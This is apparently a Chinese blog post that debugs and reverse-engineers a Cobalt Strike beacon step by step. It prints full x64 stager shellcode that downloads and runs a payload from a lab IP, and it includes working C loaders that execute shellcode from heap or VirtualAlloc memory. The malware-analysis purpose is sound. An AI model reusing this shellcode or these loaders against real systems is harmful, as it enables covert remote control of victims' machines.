CobaltStrike动调 Teamserver的配置与Beacon生成 Teamserver的配置 (使用管理员权限启动)
1 .\teamserver.bat 192.168.18.132 password
···
生成Beacon .启动监听器
生成beacon程序
选择监听器,然后点击attacks,生成X64 beacon
点击Generate并选择保存位置
在目标上线 在目标机上运行Beacon
成功上线
测试功能 选中目标机右键点击interact,开始交互功能
screenshot - 捕获目标系统的屏幕截图
keylogger - 记录目标系统的键盘输入
download - 从目标系统下载文件
upload - 上传文件到目标系统
shell - 在目标系统上执行 shell 命令
getprivs - 尝试提升目标系统的权限
run - 在目标系统上执行自定义脚本
processes
Screenshots
keystrokes
Beacon调试外壳分析 以c语言形式生成shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b \x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41 \x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85 \xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48 \x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66 \x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83 \xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56 \x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a \x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f \xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff \xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06 \x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff \x2f\x66\x42\x4f\x66\x00\xd2\xba\xbd\xba\x61\x5f\x65\xa5\xc1\xdb\xf6\xa9\x48\x32\xa9\xe2\x48\xd3\xca\x7c\xd7\x9a\xb4\x34\x18\x4f\xc2 \xa2\xa4\xc6\xfb\x42\x8c\xe5\x5e\x3c\x12\x42\x16\x02\x39\x74\x18\x5c\xb3\xbb\xd4\x72\xe1\xa4\xa9\xb7\x69\xf6\xeb\xd3\x62\xeb\x8d\x28 \xb8\x03\xec\x19\xe2\xe7\xeb\x2e\x87\xa9\xf0\xdb\x3e\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61 \x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64 \x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36 \x2e\x30\x3b\x20\x41\x76\x61\x6e\x74\x20\x42\x72\x6f\x77\x73\x65\x72\x29\x0d\x0a\x00\x12\x18\xe7\x65\xef\xdc\x5a\x97\xc9\x8b\x4b\x94 \xc1\x47\xb6\x52\x3b\xd5\x38\x93\xca\x58\x24\x90\xd1\x1d\xfc\xf1\x21\xb5\x7a\x14\x0b\x0d\xea\x83\xdb\x4a\x3c\x1a\x38\x83\xd8\xc7\x74 \x29\x05\xfa\x8e\x50\x8a\xa9\x01\xf8\x5e\x50\x2c\xa6\x7c\xdf\xb3\x97\x55\xac\x67\x0b\xf6\xa8\x87\x3c\x22\xec\x23\x98\xf3\x3c\x79\x88 \xfc\x33\x99\x4a\x54\x65\xdf\xe5\xef\xc1\xca\x70\x52\x8e\x99\xed\x52\xdd\xfa\xea\x03\xa2\x85\x83\x30\x42\x8f\x2d\x16\x7a\xb5\x24\x01 \x4e\x1d\x2f\xca\x2b\x8a\x70\x41\xef\x61\xaf\x4c\x20\x16\x4b\xe4\x13\xa6\x75\x75\x96\x09\x7d\xc9\x81\x0e\x8f\x77\x38\xd2\x28\x8f\x3f \x3f\xbb\x32\xf0\x1a\x6a\x44\xcd\x0a\x1a\x6f\xdf\xbf\xfb\x29\x9a\xc0\x76\x4a\xa3\xce\x36\x12\xa9\xc1\xf4\x0e\x33\x69\xc9\x42\x8e\x8b \x28\x35\x95\x1d\x43\xb2\xe2\x12\x83\x88\x9f\x60\xac\x92\xb8\x7e\x01\xdf\x1f\xee\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba \x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89 \xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48 \x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e \x31\x33\x32\x00\x5e\x2e\x78\x90" ;
对Windows开发和shellcode loader不熟悉,询问chat并进行修改,生成shellcode loader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <windows.h> unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x74\x32\x6e\x49\x00\x0c\xda\x45\x13\xbb\x51\xcc\x08\x55\x80\x06\xe7\x40\xf2\x8a\x59\x6b\x7f\xe2\x00\x4a\x51\xd0\x09\xa2\x57\xe1\x30\x5d\xcb\x7b\xad\x44\x3c\x07\x3d\xa5\x75\x88\xe9\xd6\xa9\xa1\xfd\xb3\x7a\xe2\x8c\x19\x05\x8f\xfc\xf4\x27\xec\x4e\xfc\x6a\xe9\x1f\x94\xdf\x4c\x96\xf9\xbc\x2b\x12\x8a\x67\x72\xed\x58\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x42\x54\x52\x53\x31\x32\x35\x35\x32\x36\x29\x0d\x0a\x00\xae\xe1\x01\x1c\xaa\x64\x16\x48\x4f\x20\x35\x43\x90\x6b\xf7\xf9\x6a\x51\x08\xdf\x53\x5c\x64\x33\x31\x76\xf5\x73\x59\x7a\xd6\x80\x80\xba\x54\x30\x97\xac\x21\xab\x3c\xee\x9e\xe1\xda\xc3\x0b\x18\x16\xe8\x3b\x9e\x8d\xcb\x62\xfd\xb6\x2e\x05\x2c\x61\xc3\x23\xd8\xe5\x9d\x1d\x65\xaa\xb2\x3c\xd2\xf6\x63\x1d\x5b\x80\x5a\x50\x7c\x0c\xe9\x94\x5c\x3a\xdc\xb2\x1c\xd2\x46\x61\xee\x4f\xc8\xe5\x9a\xe0\x9f\xa1\x71\x2f\x9f\x13\x24\xaf\x84\xe6\x86\x3a\x33\x35\x18\x14\xe4\x66\x02\xc7\x0d\xd6\xf0\x0f\xdd\x44\xbc\xa5\x01\xf5\x2d\x96\x7f\xd8\xe8\x76\xfb\xf7\xb8\x36\x66\x2f\x64\x1f\xbb\xb5\x24\xe2\x06\xad\x3d\x38\xc5\x90\xd3\x02\xea\x52\xf0\x06\x1d\x32\x80\x4b\xe7\x31\xe2\x7d\x1a\xe3\x31\x29\xb0\xd9\x80\x4f\x18\x5a\x68\xad\xb3\x06\x2d\xa3\x20\x7a\xf0\xe1\x4c\x0c\x0f\x70\x5b\x9e\xc4\x8b\x42\xc0\xea\xd2\x94\xa6\xf4\x65\x0f\xaf\x7e\xdc\xd1\x02\x35\x7c\xf6\x21\x69\x8c\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x38\x2e\x31\x33\x32\x00\x5e\x2e\x78\x90" ;int main () { HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0 , 0 ); void * exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof (buf)); memcpy (exec, buf, sizeof (buf)); ((void (*)())exec)(); HeapFree(myHeap, 0 , exec); HeapDestroy(myHeap); return 0 ; }
测试发现成功上线,说明shellcode loader可用
IDA静态分析 先使用die打开大致查看生成的shellcode loader
(图1)
(图2)
图1是我自己使用gcc编译链接的shellcode loader,图2是我直接使用cs生成的,发现cs也是使用的是MinGW编译生成的并知道程序入口点是0x04014b
main函数使用ida打开cs直接生成X64 beacon,定位观察main函数
调用了三个函数:sub_402A60、sub_401795、__imp_Sleep
sub_402A60函数
像是简单的赋值操作
sub_401795函数
这个函数定义了一些变量,然后变量v8调用了WinAPI函数GetTickCount(GetTickCount() 是一个 Windows API 函数,用于获取从系统启动到当前时刻经过的毫秒数。)静态分析并不清楚取余操作的作用
sprintf() 是 C 语言中的一个标准函数,它的作用是将格式化的数据写入到一个字符串中。
sprintf相当于就是把前面的变量格式化为%c%c%c%c%c%c%c%c%cMSSE-%d-server的形式存储到Buffeer中
CreateThread 是 Windows API 中的一个函数,它用于创建一个新的线程。
CreateThread 函数调用将创建一个新的线程,该线程执行 sub_401685 函数作为其入口点,并使用默认的线程属性。
查看汇编发现最后jmp sub_401742,return调用跳转到了sub_401742函数
sub_401685函数跟进观察sub_401685函数
sub_4015D0函数继续跟进分析sub_4015D0函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __fastcall sub_4015D0 (char *lpBuffer, signed int nNumberOfBytesToWrite) { char *NamedPipeA; int result; DWORD NumberOfBytesWritten; NumberOfBytesWritten = 0 ; NamedPipeA = CreateNamedPipeA(Buffer, 2u , 0 , 1u , 0 , 0 , 0 , 0 i64); result = NamedPipeA - 1 ; if ( (NamedPipeA - 1 ) <= 0xFFFFFFFFFFFFFFFD ui64 ) { result = ConnectNamedPipe(NamedPipeA, 0 i64); if ( result ) { while ( nNumberOfBytesToWrite > 0 && WriteFile(NamedPipeA, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0 i64) ) { nNumberOfBytesToWrite -= NumberOfBytesWritten; lpBuffer += NumberOfBytesWritten; } return CloseHandle(NamedPipeA); } } return result; }
while (nNumberOfBytesToWrite > 0 && WriteFile(NamedPipeA, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0i64))
1、在连接成功的情况下,开始循环写入数据到管道。
2、nNumberOfBytesToWrite 要写入的字节数。
3、lpBuffer 要写入的数据缓冲区的地址。
4、&NumberOfBytesWritten 用于记录实际写入的字节数。
5、0i64 表示使用默认的重叠 I/O 参数。
sub_401742函数1 2 3 4 5 6 7 8 9 10 11 __int64 sub_401742 () { void *v0; v0 = malloc (nNumberOfBytesToRead); do Sleep (0x400 u) ; while ( !sub_4016A2(v0, nNumberOfBytesToRead) ); sub_40152E(v0, nNumberOfBytesToRead, &unk_404008); return 0 i64; }
sub_4016A2函数1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall sub_4016A2 (char *lpBuffer, signed int nNumberOfBytesToRead) { HANDLE FileA; __int64 result; DWORD NumberOfBytesRead; NumberOfBytesRead = 0 ; FileA = CreateFileA(Buffer, 0x80000000 , 3u , 0 i64, 3u , 0x80 u, 0 i64); result = 0 i64; if ( FileA != -1 i64 ) { while ( nNumberOfBytesToRead > 0 && ReadFile(FileA, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0 i64) ) { nNumberOfBytesToRead -= NumberOfBytesRead; lpBuffer += NumberOfBytesRead; } CloseHandle(FileA); return 1 i64; } return result; }
FileA = CreateFileA(Buffer, 0x80000000, 3u, 0i64, 3u, 0x80u, 0i64);用于创建或打开文件。
Buffer: 这个参数是一个字符串,代表要创建或打开的文件名。
0x80000000: 这是一个十六进制的文件访问标志,表示以读写模式打开文件。
3u: 这个参数是文件共享模式标志,表示允许文件被其他进程读取和写入。
0i64: 这个参数是文件属性标志,传0表示使用默认属性。
3u: 这个参数是文件创建选项标志,表示如果文件不存在则创建,如果存在则打开。
0x80u: 这个参数是文件属性和标志,表示以普通文件模式打开。
0i64: 这个参数是文件安全描述符,传0表示使用默认值。
ReadFile(FileA, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, 0i64)读取文件数据。
FileA: 这是前面创建或打开文件时返回的文件句柄。
lpBuffer: 这是一个指针,指向存储读取数据的缓冲区。
nNumberOfBytesToRead: 这个参数指定要读取的字节数。
&NumberOfBytesRead: 这是一个输出参数,用于存储实际读取的字节数。
0i64: 这是一个可选的重叠(overlapped)结构指针参数,在异步读取时使用。在这里传 0i64 表示使用同步读取模式。
总的来说这个函数实现了从Buffer中读取数据并存储到指定缓冲区的操作
sub_40152E函数
申请了一个a2大小的空间给变量v7
参数a1指向的数据和a3指向的数据以特定的顺序进行异或运算,然后赋值给了v7指定的空间中
sub_4014F3函数是将GetModuleHandleA函数与GetProcAddress函数地址存到指定地址
将地址为 v7、大小为 v3 字节的内存块的访问保护属性修改为允许读、写和执行。
返回入口点为StartAddress的进程
sub_4014F3函数
前面分析了这个函数,大致作用
StartAddress函数
一个简单返回lpThreadParameter指针所指地址的函数
静态分析完成main函数大致逻辑
shellcode分析 远端shellcode加载 获取模块基址
进入shellcode之后,发现有call loc_200D2,步入观察
将74656E696E6977h存储到r14寄存器中,并将r14入栈,其中74656E696E6977h是wininet的特征码
Windows Internet (WinINet) 应用程序编程接口 (API) 使应用程序能够与 FTP 和 HTTP 协议进行交互以访问 Internet 资源。 随着标准的发展,这些函数处理基础协议中的更改,使它们能够保持一致的行为。
使用遍历PEB模块链表加载模块
1 2 3 4 5 debug025:0000000000020014 mov rdx, gs:[rdx+60 h] debug025:0000000000020019 mov rdx, [rdx+18 h] debug025:000000000002001 D mov rdx, [rdx+20 h] debug025:0000000000020021 mov rsi, [rdx+50 h] debug025:0000000000020025 movzx rcx, word ptr [rdx+4 Ah]
rsi指向了这个程序本身也就是之前为这个程序取的t.exe
1 2 3 4 5 6 7 8 9 10 11 12 13 debug031:000000000002002 D loc_2002D: ; CODE XREF: debug031:000000000002003 E↓j debug031:000000000002002 D xor rax, rax debug031:0000000000020030 lodsb debug031:0000000000020031 cmp al, 61 h ; 'a' debug031:0000000000020033 jl short loc_20037 debug031:0000000000020035 sub al, 20 h ; ' ' debug031:0000000000020037 debug031:0000000000020037 loc_20037: ; CODE XREF: debug031:0000000000020033 ↑j debug031:0000000000020037 ror r9d, 0 Dh debug031:000000000002003B add r9d, eax debug031:000000000002003 E loop loc_2002D debug031:0000000000020040 push rdx debug031:0000000000020041 push r9
这里就是计算每个模块名称的哈希值,并将结果存储在 R9 寄存器中
直接打断点跳转到结束语句,查看rsi寄存器
LoadLibraryExA 是 Windows 系统中的一个 API 函数,用于动态加载 DLL 库。
LoadLibraryExA函数去调用了winiet
总结:通过双向链表指向进程装载的模块,然后通过HASH API寻址,然后将LoadLibraryExA函数的地址存入RAX等待调用
通过Hash查找API函数地址 (green-m.me)
加载功能函数 因为rax中存的是kernelbase_LoadLibraryA函数
步入查看详细逻辑
这段代码实现了一个 kernelbase_LoadLibraryA 函数,它在加载 DLL 时会先检查是否为 “twain_32.dll”,如果是则尝试从 Windows 目录下加载。如果加载失败或者 DLL 名称不是 “twain_32.dll”,则直接调用 kernelbase_LoadLibraryExA 函数进行加载。
直接跳出kernelbase_LoadLibraryA函数,继续分析当前指令
0A779563Ah新的特征值,一直运行到call rbp 观察rbp发现存的地址是0x000000000002000A,跳转回去,直接运行到
A779563Ah->winiet_InternetOpenA
winiet_InternetOpenA函数用于打开一个 Internet 连接的 API 函数
继续调试发现同样的规律,有点类似于c语言中的switch()case语句
照相同手法调试发现
0C69F8957h–>wininet_InternetConnectA
3B2E55EBh->wininet_HttpOpenRequestA
7B18062Dh->wininet_HttpSendRequestA(这个会多次循环,需要打开cs,调试到这里时cs中靶机就成功上线了)
E553A458h->kernel32_VirtualAlloc(调试这个的时候可能出现内存访问错误,打开cs之后再进行调试)
E2899612h->wininet_InternetReadFile
这些函数一起使用的效果就是发送HTTP请求接收并响应,然后分配一个虚拟内存,并Internet 连接中读取数据存到刚才的虚拟内存中
远程文件读取 前面三个函数是为了发送Http请求,主要分析后两个函数查看wininet_InternetReadFile的执行过程获取远程文件的保存位置
kernelbase_VirtualAlloc函数
1 2 3 4 5 6 LPVOID kernelbase_VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ) ;
四个参数,找到申请是空间地址
lpAddress=0014F9D8h ;申请开辟内存空间首地址
dwSize=400000 ;申请内存空间大小
flAllocationType=1000 ;申请内存类型
flProtect=40 ;内存保护类型
跳转返回,查看下一个函数
wininet_InternetReadFile是Windows系统中 WinInet API 提供的一个函数,用于从 Internet 连接中读取数据
1 2 3 4 5 6 BOOL wininet_InternetReadFile ( HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead ) ;
一个标准的wininet_InternetReadFile函数,没什么好看的,直接跳转返回
进行了循环读取
内存动态解密 文件读取完毕,将会跳转到文件内存存储地址
观察rax和rbx发现文件起始位置是0x032F0000,文件结束位置是0x03330447,计算得文件大小为0x40447,
存在加密,貌似是smc,调试自解密,起始地址为0x0324003F;直接p强制识别为函数,看伪代码
直接跳转到解密结束,rax指向了0x03410047,使用x64dbg dump出来
这里使用x64 dump的时候运行程序崩了,所以直接使用ida中的idc脚本进行dump
1 2 3 4 5 6 7 8 9 static main (void ) { auto fp, begin, end, dexbyte;fp = fopen("MEM_00000000029B0047_00040400.mem" , "wb" ); begin = 0x3300047 ; end = begin + 40400 ; for ( dexbyte = begin; dexbyte < end; dexbyte ++ )fputc(Byte(dexbyte), fp); }
将dump出来的文件进行重编译
1 2 3 4 5 6 7 8 9 10 11 12 #include <windows.h> int main (void ) {HANDLE hfile = CreateFileA("MEM_00000000029B0047_00040400.mem" , FILE_ALL_ACCESS, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); LPVOID buffer = VirtualAlloc(NULL , 0x4000000 , MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD realRead = 0 ; ReadFile(hfile, buffer, 0x4000000 , &realRead, NULL ); ((void (*)())buffer)(); return 0 ;}
测试上线成功
使用ida反编译
远端文件装载 这一阶段程序将重装载从远程下载的PE文件,约定称重装载前为源PE文件,重装载后为新PE文件
内存文件基址的定位 继续刚才的shellcode分析,单步进入,之后ida会将刚才的数据转换为汇编,或则在步入之前点击c键强制转换也可以
call 这里步入
这里进行了一些栈空间的清理工作,然后继续步入loc_3316413
看到一个loc_3316393,这里只是从栈上读取一个值到 RAX 寄存器中,快速步过
程序在寻找4D5Ah和4500h,这是DOS文件头与NT头的标志,即在进行PE文件的定位
直接跳转到ret返回
1 2 3 4 5 6 7 8 9 10 11 12 debug078:000000000331619B call loc_3316413 debug078:00000000033161 A0 mov [rsp+50 h], rax debug078:00000000033161 A5 mov eax, [rsp+70 h] debug078:00000000033161 A9 and eax, offset unk_FFFFFF debug078:00000000033161 AE cmp eax, offset unk_414141 debug078:00000000033161B 3 jnz short loc_33161CF debug078:00000000033161B 5 mov eax, [rsp+78 h] debug078:00000000033161B 9 and eax, offset unk_FFFFFF debug078:00000000033161B E cmp eax, offset unk_424242 debug078:00000000033161 C3 jnz short loc_33161CF debug078:00000000033161 C5 lea rcx, [rsp+70 h] debug078:00000000033161 CA call loc_33164A3
这里同样还在进行检索,步入loc_33164A3
获取模块基址 又进行了模块寻址的过程,并将其存储到栈中备用 并在检查是否拿到链表指针后
接续执行,发现特征码6A4ABC5Bh,打上断点到跳过这一寻找过程,可知现在找到的是kernel32模块(通过查看rax寄存器
进行了和前面提到的hash api寻址一样的操作,找到功能函数
加载功能函数 在上面的基础上跳出循环,直接来到特征码(注意跳出上面的hash api寻址的循环,来到下面这一步
第一个识别的特征码是0D3324904h,0D3324904h->kernel32_GetModuleHandleA,继续同样的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 debug083:00000000035B 67CA loc_35B67CA: ; CODE XREF: debug083:00000000035B 67AB↑j debug083:00000000035B 67CA cmp dword ptr [rsp+4 ], 0 D3324904h debug083:00000000035B 67D2 jnz short loc_35B67EE debug083:00000000035B 67D4 mov rax, [rsp+18 h] debug083:00000000035B 67D9 mov eax, [rax] debug083:00000000035B 67DB mov rcx, [rsp+8 ] debug083:00000000035B 67E0 add rcx, rax debug083:00000000035B 67E3 mov rax, rcx debug083:00000000035B 67E6 mov rcx, [rsp+70 h] debug083:00000000035B 67EB mov [rcx], rax debug083:00000000035B 67EE debug083:00000000035B 67EE loc_35B67EE: ; CODE XREF: debug083:00000000035B 6726↑j debug083:00000000035B 67EE ; debug083:00000000035B 6750↑j ... debug083:00000000035B 67EE movzx eax, word ptr [rsp] debug083:00000000035B 67F2 dec ax debug083:00000000035B 67F5 mov [rsp], ax debug083:00000000035B 67F9 debug083:00000000035B 67F9 loc_35B67F9: ; CODE XREF: debug083:00000000035B 66CD↑j debug083:00000000035B 67F9 mov rax, [rsp+38 h] debug083:00000000035B 67FE add rax, 4 debug083:00000000035B 6802 mov [rsp+38 h], rax debug083:00000000035B 6807 mov rax, [rsp+50 h] debug083:00000000035B 680C add rax, 2 debug083:00000000035B 6810 mov [rsp+50 h], rax debug083:00000000035B 6815 jmp loc_35B6628
7C0DFCAAh->kernel32_GetProcAddress
调试得到:
0EC0E4E8Eh->kernel32_LoadLibraryA
753A4FCh->kernel32_LoadLibraryExA
91AFCA54h->kernel32_VirtualAlloc
7946C61Bh->kernel32_VirtualProtect
功能函数加载完毕,存入栈中等待调用
DLL文件重装载 开辟用于重装载的空间 在上面步骤之后继续运行返回之后,继续运行,经过一些内存处理之后,开始调用栈中的函数,首次调用函数为 VirtualAlloc,开辟用于重装载的空间
直接步过这个call 然后观察rax寄存器发现开辟的空间首地址,即空间首地址为0000000003610000
栈空间开辟完成之后,进行栈的清理工作,观察rcx发现清空了4E000h长度的内存
PE文件头复制 继续运行注意这个call loc_3226C93,步入运行到
程序将PE文件装载到新开辟的内存空间中,从03610000到0000000003610400,总计0400h;PE头内容(5A 41 52 55 48 89 E5 48……
各区段复制 将上面存到03610400的PE文件头copy下来,使用010 editor新建成为一个文件,然后去010官网下载exe.bt的模板,运行模板之后得到
根据PE头所标识的节表数量,可知有五节
观察5给节区的DWORD SizeOfRawData可知即将载入的内容长度
第一段:观察rdi和rcx可知是从0x03611000到0x363BE00共2AE00h
第二段:从0x0363C000到0x0364BA00,总共FA00h
同样的操作,循环得到
第三段:从0x0364C000到0x0364E600,共2600h
第四段:从0x0365A000到0x0365C200,共2200h
第五段:从0x0365D000到0x0365E000,共1000h
结束之后,区段装载完毕
导入表修复 目前重装载的PE文件还不完整,还需要进行修复
过程:
从导入表复制模块名称
调用kernel32_LoadLibraryA进行模块加载
从导入表复制模块函数名称
调用kernel32_GetProcAddress获取功能函数调用地址
、将函数的调用地址写入新的导入表
将源PE文件放入010 Editor解析可知,程序要导入KERNEL32、ADVAPI32、WININET、WS2_32S四个模 块的功能函数
KERNEL32.DLL模块函数的过程分析
修复准备工作 运行完这个函数返回之后,跟踪程序下一个call,也就是loc_33D6E53的运行可以发现,此程序在此获取:
源文件的PE头位置 源PE文件的SizeOfImage
源PE文件的IMAGE_DIRECTORY_ENTRY_IMPORT->VirtualAddress (导入表的RVA)
重装载PE文件内存空间首地址
计算出:
重装载PE文件内存空间最后40h位置,用于临时存储复制的模块名称、功能函数名称等
重装载PE文件导入表存储位置(VA = RVA + IMAGE BASE)
继续运行开始从导入表中复制模块名称,并按名加载模块
获取模块名称 此段主要复制重装载PE文件存储的模块名称到指定的临时存储区
